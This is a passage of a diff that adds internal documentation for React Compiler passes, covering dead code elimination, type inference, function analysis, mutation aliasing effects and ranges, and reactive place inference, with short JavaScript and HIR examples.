+**After ConstantPropagation:**
+- `a === 1` evaluates to `true`
+- The `if (a === 1)` branch is eliminated, only consequent remains
+- `b` is known to be `true`
+- `if (b)` branch is eliminated, only consequent remains
+- `c` is known to be `'hello'`
+- All intermediate blocks are merged
+
+**Output:**
+```javascript
+function Component() {
+  return "hello";
+}
+```
+
+The pass performs iterative simplification: first iteration determines `a === 1` is `true` and eliminates that branch. The CFG is updated, phi for `b` is pruned to single operand making `b = true`. Second iteration uses `b = true` to eliminate the next branch. This continues until no more branches can be eliminated.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/05-deadCodeElimination.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/05-deadCodeElimination.md
new file mode 100644
index 000000000000..d1bbb5b742f3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/05-deadCodeElimination.md
@@ -0,0 +1,109 @@
+# deadCodeElimination
+
+## File
+`src/Optimization/DeadCodeElimination.ts`
+
+## Purpose
+Eliminates instructions whose values are unused, reducing generated code size. The pass performs mark-and-sweep analysis to identify and remove dead code while preserving side effects and program semantics.
+
+## Input Invariants
+- Must run after `InferMutationAliasingEffects` because "dead" code may still affect effect inference
+- HIR is in SSA form with phi nodes
+- Unreachable blocks are already pruned during HIR construction
+
+## Output Guarantees
+- All instructions with unused lvalues (that are safe to prune) are removed
+- Unused phi nodes are deleted
+- Unused context variables are removed from `fn.context`
+- Destructuring patterns are rewritten to remove unused bindings
+- `StoreLocal` instructions with unused initializers are converted to `DeclareLocal`
+
+## Algorithm
+Two-phase mark-and-sweep with fixed-point iteration for loops:
+
+**Phase 1: Mark (findReferencedIdentifiers)**
+1. Detect if function has back-edges (loops)
+2. Iterate blocks in reverse postorder (successors before predecessors) to visit usages before declarations
+3. For each block:
+   - Mark all terminal operands as referenced
+   - Process instructions in reverse order:
+     - If lvalue is used OR instruction is not pruneable, mark the lvalue and all operands as referenced
+     - Special case for `StoreLocal`: only mark initializer if the SSA lvalue is actually read
+   - Mark phi operands if the phi result is used
+4. If loops exist and new identifiers were marked, repeat until fixed point
+
+**Phase 2: Sweep**
+1. Remove unused phi nodes from each block
+2. Remove instructions with unused lvalues using `retainWhere`
+3. Rewrite retained instructions:
+   - **Array destructuring**: Replace unused elements with holes, truncate trailing holes
+   - **Object destructuring**: Remove unused properties (only if rest element is unused or absent)
+   - **StoreLocal**: Convert to `DeclareLocal` if initializer value is never read
+4. Remove unused context variables
+
+## Key Data Structures
+- **State class**: Tracks referenced identifiers
+  - `identifiers: Set<IdentifierId>` - SSA-specific usages
+  - `named: Set<string>` - Named variable usages (any version)
+  - `isIdOrNameUsed()` - Checks if identifier or any version of named variable is used
+  - `isIdUsed()` - Checks if specific SSA id is used
+- **hasBackEdge/findBlocksWithBackEdges**: Detect loops requiring fixed-point iteration
+
+## Edge Cases
+- **Preserved even if unused:**
+  - `debugger` statements (to not break debugging workflows)
+  - Call expressions and method calls (may have side effects)
+  - Await expressions
+  - Store operations (ComputedStore, PropertyStore, StoreGlobal)
+  - Delete operations (ComputedDelete, PropertyDelete)
+  - Iterator operations (GetIterator, IteratorNext, NextPropertyOf)
+  - Context operations (LoadContext, DeclareContext, StoreContext)
+  - Memoization markers (StartMemoize, FinishMemoize)
+
+- **SSR mode special case:**
+  - In SSR mode, unused `useState`, `useReducer`, and `useRef` hooks can be removed
+
+- **Object destructuring with rest:**
+  - Cannot remove unused properties if rest element is used (would change rest's value)
+
+- **Block value instructions:**
+  - Last instruction of value blocks (not 'block' kind) is never pruned as it's the block's value
+
+## TODOs
+- "TODO: we could be more precise and make this conditional on whether any arguments are actually modified" (for mutating instructions)
+
+## Example
+
+**Input:**
+```javascript
+function Component(props) {
+  const _ = 42;
+  return props.value;
+}
+```
+
+**After DeadCodeElimination:**
+The `const _ = 42` assignment is removed since `_` is never used:
+```javascript
+function Component(props) {
+  return props.value;
+}
+```
+
+**Array destructuring example:**
+
+Input:
+```javascript
+function foo(props) {
+  const [x, unused, y] = props.a;
+  return x + y;
+}
+```
+
+Output (middle element becomes a hole):
+```javascript
+function foo(props) {
+  const [x, , y] = props.a;
+  return x + y;
+}
+```
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/06-inferTypes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/06-inferTypes.md
new file mode 100644
index 000000000000..10878fa4a525
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/06-inferTypes.md
@@ -0,0 +1,124 @@
+# inferTypes
+
+## File
+`src/TypeInference/InferTypes.ts`
+
+## Purpose
+Infers types for all identifiers in the HIR by generating type equations and solving them using unification. This pass annotates identifiers with concrete types (Primitive, Object, Function) based on the operations performed on them and the types of globals/hooks they interact with.
+
+## Input Invariants
+- The HIR must be in SSA form (the pass runs after `enterSSA` and `eliminateRedundantPhi`)
+- Constant propagation has already run
+- Global declarations and hook shapes are available via the Environment
+
+## Output Guarantees
+- All identifier types are resolved from type variables (`Type`) to concrete types where possible
+- Phi nodes have their operand types unified to produce a single result type
+- Function return types are inferred from the unified types of all return statements
+- Property accesses on known objects/hooks resolve to the declared property types
+- Component props parameters are typed as `TObject<BuiltInProps>`
+- Component ref parameters are typed as `TObject<BuiltInUseRefId>`
+
+## Algorithm
+The pass uses a classic constraint-based type inference approach with three phases:
+
+1. **Constraint Generation (`generate`)**: Traverses all instructions and generates type equations:
+   - Primitives, literals, unary/binary operations -> `Primitive` type
+   - Hook/function calls -> Function type with fresh return type variable
+   - Property loads -> `Property` type that defers to object shape lookup
+   - Destructuring -> Property types for each extracted element
+   - Phi nodes -> `Phi` type with all operand types as candidates
+   - JSX -> `Object<BuiltInJsx>`
+   - Arrays -> `Object<BuiltInArray>`
+   - Objects -> `Object<BuiltInObject>`
+
+2. **Unification (`Unifier.unify`)**: Solves constraints by unifying type equations:
+   - Type variables are bound to concrete types via substitution
+   - Property types are resolved by looking up the object's shape
+   - Phi types are resolved by finding a common type among operands (or falling back to `Phi` if incompatible)
+   - Function types are unified by unifying their return types
+   - Occurs check prevents infinite types (cycles in type references)
+
+3. **Application (`apply`)**: Applies the computed substitutions to all identifiers in the HIR, replacing type variables with their resolved types.
+
+## Key Data Structures
+- **TypeVar** (`kind: 'Type'`): A type variable with a unique TypeId, used for unknowns
+- **Unifier**: Maintains a substitution map from TypeId to Type, with methods for unification and cycle detection
+- **TypeEquation**: A pair of types that should be equal, used as constraints
+- **PhiType** (`kind: 'Phi'`): Represents the join of multiple types from control flow merge points
+- **PropType** (`kind: 'Property'`): Deferred property lookup that resolves based on object shape
+- **FunctionType** (`kind: 'Function'`): Callable type with optional shapeId and return type
+- **ObjectType** (`kind: 'Object'`): Object with optional shapeId for shape lookup
+
+## Edge Cases
+
+### Phi Type Resolution
+When phi operands have incompatible types, the pass attempts to find a union:
+- `Union(Primitive | MixedReadonly) = MixedReadonly`
+- `Union(Array | MixedReadonly) = Array`
+- If no union is possible, the type remains as `Phi`
+
+### Ref-like Name Inference
+When `enableTreatRefLikeIdentifiersAsRefs` is enabled, property access on variables matching the pattern `/^(?:[a-zA-Z$_][a-zA-Z$_0-9]*)Ref$|^ref$/` with property name `current` infers:
+- Object type as `TObject<BuiltInUseRefId>`
+- Property type as `TObject<BuiltInRefValue>`
+
+### Cycle Detection
+The `occursCheck` method prevents infinite types by detecting when a type variable appears in its own substitution. When a cycle is detected, `tryResolveType` removes the cyclic reference from Phi operands.
+
+### Context Variables
+- `DeclareContext` and `LoadContext` generate no type equations (intentionally untyped)
+- `StoreContext` with `Const` kind does propagate the rvalue type to enable ref inference through context variables
+
+## TODOs
+1. **Hook vs Function type ambiguity**:
+   > "TODO: callee could be a hook or a function, so this type equation isn't correct. We should change Hook to a subtype of Function or change unifier logic."
+
+2. **PropertyStore rvalue inference**:
+   > "TODO: consider using the rvalue type here" - Currently uses a dummy type for PropertyStore to avoid inferring rvalue types from lvalue assignments.
+
+## Example
+
+**Input (infer-phi-primitive.js):**
+```javascript
+function foo(a, b) {
+  let x;
+  if (a) {
+    x = 1;
+  } else {
+    x = 2;
+  }
+  let y = x;
+  return y;
+}
+```
+
+**Before InferTypes (SSA form):**
+```
+<unknown> x$26: phi(bb2: <unknown> x$21, bb3: <unknown> x$24)
+[10] <unknown> $27 = LoadLocal <unknown> x$26
+[11] <unknown> $29 = StoreLocal Let <unknown> y$28 = <unknown> $27
+```
+
+**After InferTypes:**
+```
+<unknown> x$26:TPrimitive: phi(bb2: <unknown> x$21:TPrimitive, bb3: <unknown> x$24:TPrimitive)
+[10] <unknown> $27:TPrimitive = LoadLocal <unknown> x$26:TPrimitive
+[11] <unknown> $29:TPrimitive = StoreLocal Let <unknown> y$28:TPrimitive = <unknown> $27:TPrimitive
+```
+
+The pass infers that:
+- Literals `1` and `2` are `TPrimitive`
+- The phi of two primitives is `TPrimitive`
+- Variables `x` and `y` are `TPrimitive`
+- The function return type is `TPrimitive`
+
+**Hook type inference example (useState):**
+```javascript
+const [x, setX] = useState(initialValue);
+```
+
+After InferTypes:
+- `useState` -> `TFunction<BuiltInUseState>:TObject<BuiltInUseState>`
+- Return value `$27` -> `TObject<BuiltInUseState>`
+- Destructured `setX` -> `TFunction<BuiltInSetState>:TPrimitive`
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/07-analyseFunctions.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/07-analyseFunctions.md
new file mode 100644
index 000000000000..b86881163bb6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/07-analyseFunctions.md
@@ -0,0 +1,84 @@
+# analyseFunctions
+
+## File
+`src/Inference/AnalyseFunctions.ts`
+
+## Purpose
+Recursively analyzes all nested function expressions and object methods in a function to infer their aliasing effect signatures, which describe how the function affects its captured variables when invoked.
+
+## Input Invariants
+- The HIR has been through SSA conversion and type inference
+- FunctionExpression and ObjectMethod instructions have an empty `aliasingEffects` array (`@aliasingEffects=[]`)
+- Context variables (captured variables from outer scope) exist on `fn.context` but do not have their effect populated
+
+## Output Guarantees
+- Every FunctionExpression and ObjectMethod has its `aliasingEffects` array populated with the effects the function performs when called (mutations, captures, aliasing to return value, etc.)
+- Each context variable's `effect` property is set to either `Effect.Capture` (if the variable is captured or mutated by the inner function) or `Effect.Read` (if only read)
+- Context variable mutable ranges are reset to `{start: 0, end: 0}` and scopes are set to `null` to prepare for the outer function's subsequent `inferMutationAliasingRanges` pass
+
+## Algorithm
+1. **Recursive traversal**: Iterates through all blocks and instructions looking for `FunctionExpression` or `ObjectMethod` instructions
+2. **Depth-first processing**: For each function expression found, calls `lowerWithMutationAliasing()` which:
+   - Recursively calls `analyseFunctions()` on the inner function (handles nested functions)
+   - Runs `inferMutationAliasingEffects()` on the inner function to determine effects
+   - Runs `deadCodeElimination()` to clean up
+   - Runs `inferMutationAliasingRanges()` to compute mutable ranges and extract externally-visible effects
+   - Runs `rewriteInstructionKindsBasedOnReassignment()` and `inferReactiveScopeVariables()`
+   - Stores the computed effects in `fn.aliasingEffects`
+3. **Context variable effect classification**: Scans the computed effects to determine which context variables are captured/mutated vs only read:
+   - Effects like `Capture`, `Alias`, `Assign`, `MaybeAlias`, `CreateFrom` mark the source as captured
+   - Mutation effects (`Mutate`, `MutateTransitive`, etc.) mark the target as captured
+   - Sets `operand.effect = Effect.Capture` or `Effect.Read` accordingly
+4. **Range reset**: Resets mutable ranges and scopes on context variables to prepare for outer function analysis
+
+## Key Data Structures
+- **HIRFunction.aliasingEffects**: Array of `AliasingEffect` storing the externally-visible behavior of a function when called
+- **Place.effect**: Effect enum value (`Capture` or `Read`) describing how a context variable is used
+- **AliasingEffect**: Union type describing data flow (Capture, Alias, Assign, etc.) and mutations (Mutate, MutateTransitive, etc.)
+- **FunctionExpression/ObjectMethod.loweredFunc.func**: The inner HIRFunction to analyze
+
+## Edge Cases
+- **Nested functions**: Handled via recursive call to `analyseFunctions()` before processing the current function - innermost functions are analyzed first
+- **ObjectMethod**: Treated identically to FunctionExpression
+- **Apply effects invariant**: The pass asserts that no `Apply` effects remain in the function's signature - these should have been resolved to more precise effects by `inferMutationAliasingRanges()`
+- **Conditional mutations**: Effects like `MutateTransitiveConditionally` are tracked - a function that conditionally mutates a captured variable will have that effect in its signature
+- **Immutable captures**: `ImmutableCapture`, `Freeze`, `Create`, `Impure`, `Render` effects do not contribute to marking context variables as `Capture`
+
+## TODOs
+- No TODO comments in the pass itself
+
+## Example
+Consider a function that captures and conditionally mutates a variable:
+
+```javascript
+function useHook(a, b) {
+  let z = {a};
+  let y = b;
+  let x = function () {
+    if (y) {
+      maybeMutate(z);  // Unknown function, may mutate z
+    }
+  };
+  return x;
+}
+```
+
+**Before AnalyseFunctions:**
+```
+Function @context[y$28, z$25] @aliasingEffects=[]
+```
+
+**After AnalyseFunctions:**
+```
+Function @context[read y$28, capture z$25] @aliasingEffects=[
+  MutateTransitiveConditionally z$25,
+  Create $14 = primitive
+]
+```
+
+The pass infers:
+- `y` is only read (used in the condition)
+- `z` is captured into the function and conditionally mutated transitively (because `maybeMutate()` is unknown)
+- The inner function's signature includes `MutateTransitiveConditionally z$25` to indicate this potential mutation
+
+This signature is then used by `InferMutationAliasingEffects` on the outer function to understand that creating this function captures `z`, and calling the function may mutate `z`.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/08-inferMutationAliasingEffects.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/08-inferMutationAliasingEffects.md
new file mode 100644
index 000000000000..a8b488008e0e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/08-inferMutationAliasingEffects.md
@@ -0,0 +1,144 @@
+# inferMutationAliasingEffects
+
+## File
+`src/Inference/InferMutationAliasingEffects.ts`
+
+## Purpose
+Infers the mutation and aliasing effects for all instructions and terminals in the HIR, making the effects of built-in instructions/functions as well as user-defined functions explicit. These effects form the basis for subsequent analysis to determine the mutable range of each value in the program and for validation against invalid code patterns like mutating frozen values.
+
+## Input Invariants
+- HIR must be in SSA form (run after SSA pass)
+- Types must be inferred (run after InferTypes pass)
+- Functions must be analyzed (run after AnalyseFunctions pass) - this provides `aliasingEffects` on FunctionExpressions
+- Each instruction must have an lvalue (destination place)
+
+## Output Guarantees
+- Every instruction has an `effects` array (or null if no effects) containing `AliasingEffect` objects
+- Terminals that affect data flow (return, try/catch) have their `effects` populated
+- Each instruction's lvalue is guaranteed to be defined in the inference state after visiting
+- Effects describe: creation of values, data flow (Assign, Alias, Capture), mutations (Mutate, MutateTransitive), freezing, and errors (MutateFrozen, MutateGlobal, Impure)
+
+## Algorithm
+The pass uses abstract interpretation with the following key phases:
+
+1. **Initialization**:
+   - Create initial `InferenceState` mapping identifiers to abstract values
+   - Initialize context variables as `ValueKind.Context`
+   - Initialize parameters as `ValueKind.Frozen` (for top-level components/hooks) or `ValueKind.Mutable` (for function expressions)
+
+2. **Two-Phase Effect Processing**:
+   - **Phase 1 - Signature Computation**: For each instruction, compute a "candidate signature" based purely on instruction semantics and types (cached per instruction via `computeSignatureForInstruction`)
+   - **Phase 2 - Effect Application**: Apply the signature to the current abstract state via `applySignature`, which refines effects based on the actual runtime kinds of values
+
+3. **Fixed-Point Iteration**:
+   - Process blocks in a worklist, queuing successors after each block
+   - Merge states at control flow join points using lattice operations
+   - Iterate until no changes occur (max 100 iterations as safety limit)
+   - Phi nodes are handled by unioning the abstract values from all predecessors
+
+4. **Effect Refinement** (in `applyEffect`):
+   - `MutateConditionally` effects are dropped if value is not mutable
+   - `Capture` effects are downgraded to `ImmutableCapture` if source is frozen
+   - `Mutate` on frozen values becomes `MutateFrozen` error
+   - `Assign` from primitives/globals creates new values rather than aliasing
+
+## Key Data Structures
+
+### InferenceState
+Maintains two maps:
+- `#values: Map<InstructionValue, AbstractValue>` - Maps allocation sites to their abstract kind
+- `#variables: Map<IdentifierId, Set<InstructionValue>>` - Maps identifiers to the set of values they may point to (set to handle phi joins)
+
+### AbstractValue
+```typescript
+type AbstractValue = {
+  kind: ValueKind;
+  reason: ReadonlySet<ValueReason>;
+};
+```
+
+### ValueKind (lattice)
+```
+MaybeFrozen    <- top (unknown if frozen or mutable)
+    |
+  Frozen       <- immutable, cannot be mutated
+  Mutable      <- can be mutated locally
+  Context      <- mutable box (context variables)
+    |
+  Global       <- global value
+  Primitive    <- copy-on-write semantics
+```
+
+The `mergeValueKinds` function implements the lattice join:
+- `Frozen | Mutable -> MaybeFrozen`
+- `Context | Mutable -> Context`
+- `Context | Frozen -> MaybeFrozen`
+
+### AliasingEffect Types
+Key effect kinds handled:
+- **Create**: Creates a new value at a place
+- **Assign**: Direct assignment (pointer copy)
+- **Alias**: Mutation of destination implies mutation of source
+- **Capture**: Information flow (MutateTransitive propagates through)
+- **MaybeAlias**: Possible aliasing for unknown function returns
+- **Mutate/MutateTransitive**: Direct/transitive mutation
+- **MutateConditionally/MutateTransitiveConditionally**: Conditional versions
+- **Freeze**: Marks value as immutable
+- **Apply**: Function call with complex data flow
+
+## Edge Cases
+
+1. **Spread Destructuring from Props**: The `findNonMutatedDestructureSpreads` pre-pass identifies spread patterns from frozen values that are never mutated, allowing them to be treated as frozen.
+
+2. **Hoisted Context Declarations**: Special handling for variables declared with hoisting (`HoistedConst`, `HoistedFunction`, `HoistedLet`) to detect access before declaration.
+
+3. **Try-Catch Aliasing**: When a `maybe-throw` terminal is reached, call return values are aliased into the catch binding since exceptions can throw return values.
+
+4. **Function Expressions**: Functions are considered mutable only if they have mutable captures or tracked side effects (MutateFrozen, MutateGlobal, Impure).
+
+5. **Iterator Mutation**: Non-builtin iterators may alias their collection and mutation of the iterator is conditional.
+
+6. **Array.push and Similar**: Uses legacy signature system with `Store` effect on receiver and `Capture` of arguments.
+
+## TODOs
+- `// TODO: using InstructionValue as a bit of a hack, but it's pragmatic` - context variable initialization
+- `// TODO: call applyEffect() instead` - try-catch aliasing
+- `// TODO: make sure we're also validating against global mutations somewhere` - global mutation validation for effects/event handlers
+- `// TODO; include "render" here?` - whether to track Render effects in function hasTrackedSideEffects
+- `// TODO: consider using persistent data structures to make clone cheaper` - performance optimization for state cloning
+- `// TODO check this` and `// TODO: what kind here???` - DeclareLocal value kinds
+
+## Example
+
+For the code:
+```javascript
+const arr = [];
+arr.push({});
+arr.push(x, y);
+```
+
+After `InferMutationAliasingEffects`, the effects are:
+
+```
+[10] $39 = Array []
+    Create $39 = mutable           // Array literal creates mutable value
+
+[11] $41 = StoreLocal arr$40 = $39
+    Assign arr$40 = $39            // arr points to the array value
+    Assign $41 = $39
+
+[15] $45 = MethodCall $42.push($44)
+    Apply $45 = $42.$43($44)       // Records the call
+    Mutate $42                      // push mutates the array
+    Capture $42 <- $44             // {} is captured into array
+    Create $45 = primitive         // push returns number (length)
+
+[20] $50 = MethodCall $46.push($48, $49)
+    Apply $50 = $46.$47($48, $49)
+    Mutate $46                      // push mutates the array
+    Capture $46 <- $48             // x captured into array
+    Capture $46 <- $49             // y captured into array
+    Create $50 = primitive
+```
+
+The key insight is that `Mutate` effects extend the mutable range of the array, and `Capture` effects record data flow so that if the array is later frozen (e.g., returned from a component), the captured values are also considered frozen for validation purposes.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/09-inferMutationAliasingRanges.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/09-inferMutationAliasingRanges.md
new file mode 100644
index 000000000000..769f386abe82
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/09-inferMutationAliasingRanges.md
@@ -0,0 +1,149 @@
+# inferMutationAliasingRanges
+
+## File
+`src/Inference/InferMutationAliasingRanges.ts`
+
+## Purpose
+This pass builds an abstract model of the heap and interprets the effects of the given function to determine: (1) the mutable ranges of all identifiers, (2) the externally-visible effects of the function (mutations of params/context-vars, aliasing relationships), and (3) the legacy `Effect` annotation for each Place.
+
+## Input Invariants
+- InferMutationAliasingEffects must have already run, populating `instr.effects` on each instruction with aliasing/mutation effects
+- SSA form must be established (identifiers are in SSA)
+- Type inference has been run (InferTypes)
+- Functions have been analyzed (AnalyseFunctions)
+- Dead code elimination has been performed
+
+## Output Guarantees
+- Every identifier has a populated `mutableRange` (start:end instruction IDs)
+- Every Place has a legacy `Effect` annotation (Read, Capture, Store, Freeze, etc.)
+- The function's `aliasingEffects` array is populated with externally-visible effects (mutations of params/context-vars, aliasing between params/context-vars/return)
+- Validation errors are collected for invalid effects like `MutateFrozen` or `MutateGlobal`
+
+## Algorithm
+The pass operates in three main phases:
+
+**Part 1: Build Data Flow Graph and Infer Mutable Ranges**
+1. Creates an `AliasingState` which maintains a `Node` for each identifier
+2. Iterates through all blocks and instructions, processing effects in program order
+3. For each effect:
+   - `Create`/`CreateFunction`: Creates a new node in the graph
+   - `CreateFrom`/`Assign`/`Alias`: Adds alias edges between nodes (with ordering index)
+   - `MaybeAlias`: Adds conditional alias edges
+   - `Capture`: Adds capture edges (for transitive mutations)
+   - `Mutate*`: Queues mutations for later processing
+   - `Render`: Queues render effects for later processing
+4. Phi node operands are connected once their predecessor blocks have been visited
+5. After the graph is built, mutations are processed:
+   - Mutations propagate both forward (via edges) and backward (via aliases/captures)
+   - Each mutation extends the `mutableRange.end` of affected identifiers
+   - Transitive mutations also traverse capture edges backward
+   - `MaybeAlias` edges downgrade mutations to `Conditional`
+6. Render effects are processed to mark values as rendered
+
+**Part 2: Populate Legacy Per-Place Effects**
+- Sets legacy effects on lvalues and operands based on instruction effects and mutable ranges
+- Fixes up mutable range start values for identifiers that are mutated after creation
+
+**Part 3: Infer Externally-Visible Function Effects**
+- Creates a `Create` effect for the return value
+- Simulates transitive mutations of each param/context-var/return to detect capture relationships
+- Produces `Alias`/`Capture` effects showing data flow between params/context-vars/return
+
+## Key Data Structures
+
+### `AliasingState`
+The main state class maintaining the data flow graph:
+- `nodes: Map<Identifier, Node>` - Maps identifiers to their graph nodes
+
+### `Node`
+Represents an identifier in the data flow graph:
+```typescript
+type Node = {
+  id: Identifier;
+  createdFrom: Map<Identifier, number>;   // CreateFrom edges (source -> index)
+  captures: Map<Identifier, number>;       // Capture edges (source -> index)
+  aliases: Map<Identifier, number>;        // Alias/Assign edges (source -> index)
+  maybeAliases: Map<Identifier, number>;   // MaybeAlias edges (source -> index)
+  edges: Array<{index, node, kind}>;       // Forward edges to other nodes
+  transitive: {kind: MutationKind; loc} | null;  // Transitive mutation info
+  local: {kind: MutationKind; loc} | null;       // Local mutation info
+  lastMutated: number;                     // Index of last mutation affecting this node
+  mutationReason: MutationReason | null;   // Reason for mutation
+  value: {kind: 'Object'} | {kind: 'Phi'} | {kind: 'Function'; function: HIRFunction};
+  render: Place | null;                    // Render context if used in JSX
+};
+```
+
+### `MutationKind`
+Enum describing mutation certainty:
+```typescript
+enum MutationKind {
+  None = 0,
+  Conditional = 1,  // May mutate (e.g., via MaybeAlias or MutateConditionally)
+  Definite = 2,     // Definitely mutates
+}
+```
+
+## Edge Cases
+
+### Phi Nodes
+- Phi nodes are created as special `{kind: 'Phi'}` nodes
+- Phi operands from predecessor blocks are processed with pending edges until the predecessor is visited
+- When traversing "forwards" through edges and encountering a phi, backward traversal is stopped (prevents mutation from one phi input affecting other inputs)
+
+### Transitive vs Local Mutations
+- Local mutations (`Mutate`) only affect alias/assign edges backward
+- Transitive mutations (`MutateTransitive`) also affect capture edges backward
+- Both affect all forward edges
+
+### MaybeAlias
+- Mutations through MaybeAlias edges are downgraded to `Conditional`
+- This prevents false positive errors when we cannot be certain about aliasing
+
+### Function Values
+- Functions are tracked specially as `{kind: 'Function'}` nodes
+- When a function is mutated (transitively), errors from the function body are propagated
+- This handles cases where mutating a captured value in a function affects render safety
+
+### Render Effect Propagation
+- Render effects traverse backward through alias/capture/createFrom edges
+- Functions that have not been mutated are skipped during render traversal (except for JSX-returning functions)
+- Ref types (`isUseRefType`) stop render traversal
+
+## TODOs
+1. Assign effects should have an invariant that the node is not initialized yet. Currently `InferFunctionExpressionAliasingEffectSignatures` infers Assign effects that should be Alias, causing reinitialization.
+
+2. Phi place effects are not properly set today.
+
+3. Phi mutable range start calculation is imprecise - currently just sets it to the instruction before the block rather than computing the exact start.
+
+## Example
+
+Consider the following code:
+```javascript
+function foo() {
+  let a = {};   // Create a (instruction 1)
+  let b = {};   // Create b (instruction 3)
+  a = b;        // Assign a <- b (instruction 8)
+  mutate(a, b); // MutateTransitiveConditionally a, b (instruction 16)
+  return a;
+}
+```
+
+The pass builds a graph:
+1. Creates node for `{}` at instruction 1 (initially assigned to `a`)
+2. Creates node for `{}` at instruction 3 (initially assigned to `b`)
+3. At instruction 8, creates alias edge: `b -> a` with index 8
+4. At instruction 16, mutations are queued for `a` and `b`
+
+When processing the mutation of `a` at instruction 16:
+- Extends `a`'s mutableRange.end to 17
+- Traverses backward through alias edge to `b`, extends `b`'s mutableRange.end to 17
+- Since `a = b`, both objects must be considered mutable until instruction 17
+
+The output shows identifiers with range annotations like `$25[3:17]` meaning:
+- `$25` is the identifier
+- `3` is the instruction where it was created
+- `17` is the instruction after which it is no longer mutated
+
+For aliased values, the ranges are unified - all values that could be affected by a mutation have their ranges extended to include that mutation point.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/10-inferReactivePlaces.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/10-inferReactivePlaces.md
new file mode 100644
index 000000000000..c0b8b974e215
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/10-inferReactivePlaces.md
@@ -0,0 +1,169 @@
+# inferReactivePlaces
+
+## File
+`src/Inference/InferReactivePlaces.ts`
+
+## Purpose
+Determines which `Place`s (identifiers and temporaries) in the HIR are **reactive** - meaning they may *semantically* change over the course of the component or hook's lifetime. This information is critical for memoization: reactive places form the dependencies that, when changed, should invalidate cached values.
+
+A place is reactive if it derives from any source of reactivity:
+1. **Props** - Component parameters may change between renders
+2. **Hooks** - Hooks can access state or context which can change
+3. **`use` operator** - Can access context which may change
+4. **Mutation with reactive operands** - Values mutated in instructions that have reactive operands become reactive themselves
+5. **Conditional assignment based on reactive control flow** - Values assigned in branches controlled by reactive conditions become reactive
+
+## Input Invariants
+- HIR is in SSA form with phi nodes at join points
+- `inferMutationAliasingEffects` and `inferMutationAliasingRanges` have run, establishing:
+  - Effect annotations on operands (Effect.Capture, Effect.Store, Effect.Mutate, etc.)
+  - Mutable ranges on identifiers
+  - Aliasing relationships captured by `findDisjointMutableValues`
+- All operands have known effects (asserts on `Effect.Unknown`)
+
+## Output Guarantees
+- Every reactive Place has `place.reactive = true`
+- Reactivity is transitively complete (derived from reactive → reactive)
+- All identifiers in a mutable alias group share reactivity
+- Reactivity is propagated to operands used within nested function expressions
+
+## Algorithm
+The algorithm uses **fixpoint iteration** to propagate reactivity forward through the control-flow graph:
+
+### Initialization
+1. Create a `ReactivityMap` backed by disjoint sets of mutably-aliased identifiers
+2. Mark all function parameters as reactive (props are reactive by definition)
+3. Create a `ControlDominators` helper to identify blocks controlled by reactive conditions
+
+### Fixpoint Loop
+Iterate until no changes occur:
+
+For each block:
+1. **Phi Nodes**: Mark phi nodes reactive if:
+   - Any operand is reactive, OR
+   - Any predecessor block is controlled by a reactive condition (control-flow dependency)
+
+2. **Instructions**: For each instruction:
+   - Track stable identifier sources (for hooks like `useRef`, `useState` dispatch)
+   - Check if any operand is reactive
+   - Hook calls and `use` operator are sources of reactivity
+   - If instruction has reactive input:
+     - Mark lvalues reactive (unless they are known-stable like `setState` functions)
+   - If instruction has reactive input OR is in reactive-controlled block:
+     - Mark mutable operands (Capture, Store, Mutate effects) as reactive
+
+3. **Terminals**: Check terminal operands for reactivity
+
+### Post-processing
+Propagate reactivity to inner functions (nested `FunctionExpression` and `ObjectMethod`).
+
+## Key Data Structures
+
+### ReactivityMap
+```typescript
+class ReactivityMap {
+  hasChanges: boolean = false;           // Tracks if fixpoint changed
+  reactive: Set<IdentifierId> = new Set(); // Set of reactive identifiers
+  aliasedIdentifiers: DisjointSet<Identifier>; // Mutable alias groups
+}
+```
+- Uses disjoint sets so that when one identifier in an alias group becomes reactive, they all are effectively reactive
+- `isReactive(place)` checks and marks `place.reactive = true` as a side effect
+- `snapshot()` resets change tracking and returns whether changes occurred
+
+### StableSidemap
+```typescript
+class StableSidemap {
+  map: Map<IdentifierId, {isStable: boolean}> = new Map();
+}
+```
+Tracks sources of stability (e.g., `useState()[1]` dispatch function). Forward data-flow analysis that:
+- Records hook calls that return stable types
+- Propagates stability through PropertyLoad and Destructure from stable containers
+- Propagates through LoadLocal and StoreLocal
+
+### ControlDominators
+Uses post-dominator frontier analysis to determine which blocks are controlled by reactive branch conditions.
+
+## Edge Cases
+
+### Backward Reactivity Propagation via Mutable Aliasing
+```javascript
+const x = [];
+const z = [x];
+x.push(props.input);
+return <div>{z}</div>;
+```
+Here `z` aliases `x` which is later mutated with reactive data. The disjoint set ensures `z` becomes reactive even though the mutation happens after its creation.
+
+### Stable Types Are Not Reactive
+```javascript
+const [state, setState] = useState();
+// setState is stable - not marked reactive despite coming from reactive hook
+```
+The `StableSidemap` tracks these and skips marking them reactive.
+
+### Ternary with Stable Values Still Reactive
+```javascript
+props.cond ? setState1 : setState2
+```
+Even though both branches are stable types, the result depends on reactive control flow, so it cannot be marked non-reactive just based on type.
+
+### Phi Nodes with Reactive Predecessors
+When a phi's predecessor block is controlled by a reactive condition, the phi becomes reactive even if its operands are all non-reactive constants.
+
+## TODOs
+No explicit TODO comments are present in the source file. However, comments note:
+
+- **ComputedLoads not handled for stability**: Only PropertyLoad propagates stability from containers, not ComputedLoad. The comment notes this is safe because stable containers have differently-typed elements, but ComputedLoad handling could be added.
+
+## Example
+
+### Fixture: `reactive-dependency-fixpoint.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  let x = 0;
